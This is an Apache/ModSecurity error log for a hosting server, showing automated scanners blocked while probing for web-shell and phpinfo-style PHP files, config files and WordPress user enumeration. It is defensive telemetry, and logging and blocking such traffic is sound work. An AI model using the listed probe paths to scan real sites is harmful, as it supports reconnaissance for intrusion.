[Sat Apr 25 03:44:56.198630 2026] [:error] [pid 44320:tid 44379] [client 20.251.112.6:9186] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/._info.php"] [unique_id "aevIODmFqSpku_dij8hPcAAAAFc"]
[Sat Apr 25 03:44:56.719768 2026] [:error] [pid 44319:tid 44351] [client 20.251.112.6:9207] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/._info.php"] [unique_id "aevIOMzJPAVLUb2pWtIyTAAAABY"]
[Sat Apr 25 03:44:57.242842 2026] [:error] [pid 44425:tid 44441] [client 20.251.112.6:9145] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/._info.php"] [unique_id "aevIOSUl-VlItvY2tR_FXwAAAM4"]
[Sat Apr 25 03:44:57.768168 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:9159] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/._info.php"] [unique_id "aevIOTmFqSpku_dij8hPcwAAAEQ"]
[Sat Apr 25 03:44:58.291780 2026] [:error] [pid 44319:tid 44331] [client 20.251.112.6:9110] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_flag.php"] [unique_id "aevIOszJPAVLUb2pWtIyTQAAAAI"]
[Sat Apr 25 03:44:58.811413 2026] [:error] [pid 44425:tid 44433] [client 20.251.112.6:9123] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_flag.php"] [unique_id "aevIOiUl-VlItvY2tR_FbQAAAMY"]
[Sat Apr 25 03:44:59.337831 2026] [:error] [pid 44425:tid 44436] [client 20.251.112.6:9204] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_flag.php"] [unique_id "aevIOyUl-VlItvY2tR_FcgAAAMk"]
[Sat Apr 25 03:44:59.857684 2026] [:error] [pid 44425:tid 44438] [client 20.251.112.6:9114] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_flag.php"] [unique_id "aevIOyUl-VlItvY2tR_FdwAAAMs"]
[Sat Apr 25 03:45:00.395991 2026] [:error] [pid 44321:tid 44403] [client 20.251.112.6:9026] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_info4.php"] [unique_id "aevIPI1b5lV-asWa_Y78xAAAAJQ"]
[Sat Apr 25 03:45:00.920324 2026] [:error] [pid 44425:tid 44448] [client 20.251.112.6:9187] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_info4.php"] [unique_id "aevIPCUl-VlItvY2tR_FiAAAANU"]
[Sat Apr 25 03:45:01.441452 2026] [:error] [pid 44425:tid 44451] [client 20.251.112.6:9129] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_info4.php"] [unique_id "aevIPSUl-VlItvY2tR_FkAAAANg"]
[Sat Apr 25 03:45:01.958873 2026] [:error] [pid 44321:tid 44385] [client 20.251.112.6:9090] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_info4.php"] [unique_id "aevIPY1b5lV-asWa_Y78ywAAAII"]
[Sat Apr 25 03:45:02.477609 2026] [:error] [pid 44320:tid 44369] [client 20.251.112.6:9104] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevIPjmFqSpku_dij8hPoAAAAE0"]
[Sat Apr 25 03:45:02.995731 2026] [:error] [pid 44319:tid 44352] [client 20.251.112.6:9047] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevIPszJPAVLUb2pWtIyUQAAABc"]
[Sat Apr 25 03:45:03.516151 2026] [:error] [pid 44321:tid 44390] [client 20.251.112.6:9158] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevIP41b5lV-asWa_Y78zQAAAIc"]
[Sat Apr 25 03:45:04.040372 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:9192] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test_phpinfo2.php"] [unique_id "aevIQDmFqSpku_dij8hPqQAAAEQ"]
[Sat Apr 25 03:45:04.559635 2026] [:error] [pid 44320:tid 44356] [client 20.251.112.6:9052] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevIQDmFqSpku_dij8hPqwAAAEA"]
[Sat Apr 25 03:45:05.080477 2026] [:error] [pid 44425:tid 44428] [client 20.251.112.6:9027] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevIQSUl-VlItvY2tR_FsgAAAME"]
[Sat Apr 25 03:45:05.602829 2026] [:error] [pid 44425:tid 44448] [client 20.251.112.6:9151] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevIQSUl-VlItvY2tR_FtAAAANU"]
[Sat Apr 25 03:45:06.121302 2026] [:error] [pid 44320:tid 44368] [client 20.251.112.6:9146] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/HsFPDcD.php"] [unique_id "aevIQjmFqSpku_dij8hPsgAAAEw"]
[Sat Apr 25 03:45:06.647415 2026] [:error] [pid 44321:tid 44403] [client 20.251.112.6:9150] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.inc.php"] [unique_id "aevIQo1b5lV-asWa_Y78zwAAAJQ"]
[Sat Apr 25 03:45:07.167408 2026] [:error] [pid 44425:tid 44434] [client 20.251.112.6:9116] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.inc.php"] [unique_id "aevIQyUl-VlItvY2tR_FvgAAAMc"]
[Sat Apr 25 03:45:07.690376 2026] [:error] [pid 44425:tid 44427] [client 20.251.112.6:9208] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.inc.php"] [unique_id "aevIQyUl-VlItvY2tR_FwgAAAMA"]
[Sat Apr 25 03:45:08.211692 2026] [:error] [pid 44425:tid 44430] [client 20.251.112.6:9128] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.inc.php"] [unique_id "aevIRCUl-VlItvY2tR_FxwAAAMM"]
[Sat Apr 25 03:45:08.736663 2026] [:error] [pid 44321:tid 44395] [client 20.251.112.6:9103] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpversion.php"] [unique_id "aevIRI1b5lV-asWa_Y781QAAAIw"]
[Sat Apr 25 03:45:09.263331 2026] [:error] [pid 44321:tid 44402] [client 20.251.112.6:9066] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpversion.php"] [unique_id "aevIRY1b5lV-asWa_Y783wAAAJM"]
[Sat Apr 25 03:45:09.782361 2026] [:error] [pid 44320:tid 44370] [client 20.251.112.6:9117] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpversion.php"] [unique_id "aevIRTmFqSpku_dij8hPugAAAE4"]
[Sat Apr 25 03:45:10.304013 2026] [:error] [pid 44425:tid 44434] [client 20.251.112.6:9034] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/phpversion.php"] [unique_id "aevIRiUl-VlItvY2tR_F6wAAAMc"]
[Sat Apr 25 03:45:10.823113 2026] [:error] [pid 44321:tid 44383] [client 20.251.112.6:9137] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asus.php"] [unique_id "aevIRo1b5lV-asWa_Y787AAAAIA"]
[Sat Apr 25 03:45:11.343667 2026] [:error] [pid 44321:tid 44401] [client 20.251.112.6:9147] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asus.php"] [unique_id "aevIR41b5lV-asWa_Y788gAAAJI"]
[Sat Apr 25 03:45:11.864782 2026] [:error] [pid 44319:tid 44348] [client 20.251.112.6:9062] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asus.php"] [unique_id "aevIR8zJPAVLUb2pWtIyZQAAABM"]
[Sat Apr 25 03:45:12.385756 2026] [:error] [pid 44319:tid 44333] [client 20.251.112.6:9061] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asus.php"] [unique_id "aevISMzJPAVLUb2pWtIyaQAAAAQ"]
[Sat Apr 25 03:45:12.915286 2026] [:error] [pid 44319:tid 44344] [client 20.251.112.6:9176] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_version.php"] [unique_id "aevISMzJPAVLUb2pWtIybAAAAA8"]
[Sat Apr 25 03:45:13.436567 2026] [:error] [pid 44319:tid 44330] [client 20.251.112.6:9133] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_version.php"] [unique_id "aevISczJPAVLUb2pWtIycAAAAAE"]
[Sat Apr 25 03:45:13.966526 2026] [:error] [pid 44425:tid 44446] [client 20.251.112.6:9079] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_version.php"] [unique_id "aevISSUl-VlItvY2tR_GDwAAANM"]
[Sat Apr 25 03:45:14.489847 2026] [:error] [pid 44321:tid 44396] [client 20.251.112.6:9108] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/php_version.php"] [unique_id "aevISo1b5lV-asWa_Y79DAAAAI0"]
[Sat Apr 25 03:45:15.017245 2026] [:error] [pid 44320:tid 44366] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/abouts.php
[Sat Apr 25 03:45:16.670069 2026] [:error] [pid 44320:tid 44366] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/profmanage.php
[Sat Apr 25 03:45:16.933048 2026] [:error] [pid 44320:tid 44377] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/makecvs.php
[Sat Apr 25 03:45:17.197979 2026] [:error] [pid 44320:tid 44378] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/phpreleaseinfo.php
[Sat Apr 25 03:45:17.462077 2026] [:error] [pid 44320:tid 44373] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/configuration.php
[Sat Apr 25 03:45:17.727688 2026] [:error] [pid 44320:tid 44379] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/ay.php
[Sat Apr 25 03:45:17.991065 2026] [:error] [pid 44320:tid 44365] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/hkvkjguw.php
[Sat Apr 25 03:45:18.256171 2026] [:error] [pid 44320:tid 44360] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/Black.php
[Sat Apr 25 03:45:18.518641 2026] [:error] [pid 44320:tid 44356] [client 20.251.112.6:9053] File does not exist: /usr/local/apache/htdocs/suspended-page/infoinfo.php
[Sat Apr 25 04:29:37.702165 2026] [:error] [pid 46083:tid 46112] [client 31.134.11.54:52701] [client 31.134.11.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aevSsTxw_Zq74vWdjmn4_AAAARg"]
[Sat Apr 25 04:29:38.814328 2026] [:error] [pid 46083:tid 46110] [client 31.134.11.54:45395] [client 31.134.11.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aevSsjxw_Zq74vWdjmn5CQAAARY"]
[Sat Apr 25 06:30:18.605670 2026] [:error] [pid 44319:tid 44338] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/aboutc.php
[Sat Apr 25 06:30:18.882925 2026] [:error] [pid 44319:tid 44336] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/new4.php
[Sat Apr 25 06:30:19.144904 2026] [:error] [pid 44319:tid 44334] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/hroxw.php
[Sat Apr 25 06:30:19.410274 2026] [:error] [pid 44319:tid 44350] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Sat Apr 25 06:30:19.690843 2026] [:error] [pid 44319:tid 44344] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/set.php
[Sat Apr 25 06:30:19.957202 2026] [:error] [pid 44319:tid 44343] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Sat Apr 25 06:30:20.476866 2026] [:error] [pid 44319:tid 44341] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/ws57.php
[Sat Apr 25 06:30:20.736944 2026] [:error] [pid 44319:tid 44329] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/domains.php
[Sat Apr 25 06:30:20.997652 2026] [:error] [pid 44319:tid 44349] [client 74.248.134.252:37067] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Sat Apr 25 06:30:21.256223 2026] [:error] [pid 44319:tid 44346] [client 74.248.134.252:37067] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aevu_czJPAVLUb2pWtJVrQAAABE"]
[Sat Apr 25 06:30:22.222355 2026] [:error] [pid 44320:tid 44369] [client 74.248.134.252:62886] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aevu_jmFqSpku_dij8h37gAAAE0"]
[Sat Apr 25 06:30:24.164168 2026] [:error] [pid 46083:tid 46095] [client 74.248.134.252:64496] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aevvADxw_Zq74vWdjmk4kwAAAQg"]
[Sat Apr 25 06:30:25.366064 2026] [:error] [pid 44320:tid 44380] [client 74.248.134.252:52129] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/166.php"] [unique_id "aevvATmFqSpku_dij8h38wAAAFg"]
[Sat Apr 25 06:30:27.696408 2026] [:error] [pid 44320:tid 44374] [client 74.248.134.252:46342] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aevvAzmFqSpku_dij8h39gAAAFI"]
[Sat Apr 25 06:30:28.406658 2026] [:error] [pid 44321:tid 44384] [client 74.248.134.252:52106] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aevvBI1b5lV-asWa_Y4t0QAAAIE"]
[Sat Apr 25 06:30:29.334510 2026] [:error] [pid 44321:tid 44405] [client 74.248.134.252:46379] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aevvBY1b5lV-asWa_Y4t0wAAAJY"]
[Sat Apr 25 06:30:31.505860 2026] [:error] [pid 44320:tid 44362] [client 74.248.134.252:63074] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/term.php"] [unique_id "aevvBzmFqSpku_dij8h3-gAAAEY"]
[Sat Apr 25 06:30:32.489972 2026] [:error] [pid 44320:tid 44370] [client 74.248.134.252:2320] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aevvCDmFqSpku_dij8h3-wAAAE4"]
[Sat Apr 25 06:30:34.972469 2026] [:error] [pid 46083:tid 46099] [client 74.248.134.252:54533] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aevvCjxw_Zq74vWdjmk4ngAAAQw"]
[Sat Apr 25 06:30:37.833992 2026] [:error] [pid 44320:tid 44376] [client 74.248.134.252:54554] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aevvDTmFqSpku_dij8h3_wAAAFQ"]
[Sat Apr 25 06:30:39.375925 2026] [:error] [pid 44319:tid 44335] [client 74.248.134.252:44216] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aevvD8zJPAVLUb2pWtJVsgAAAAY"]
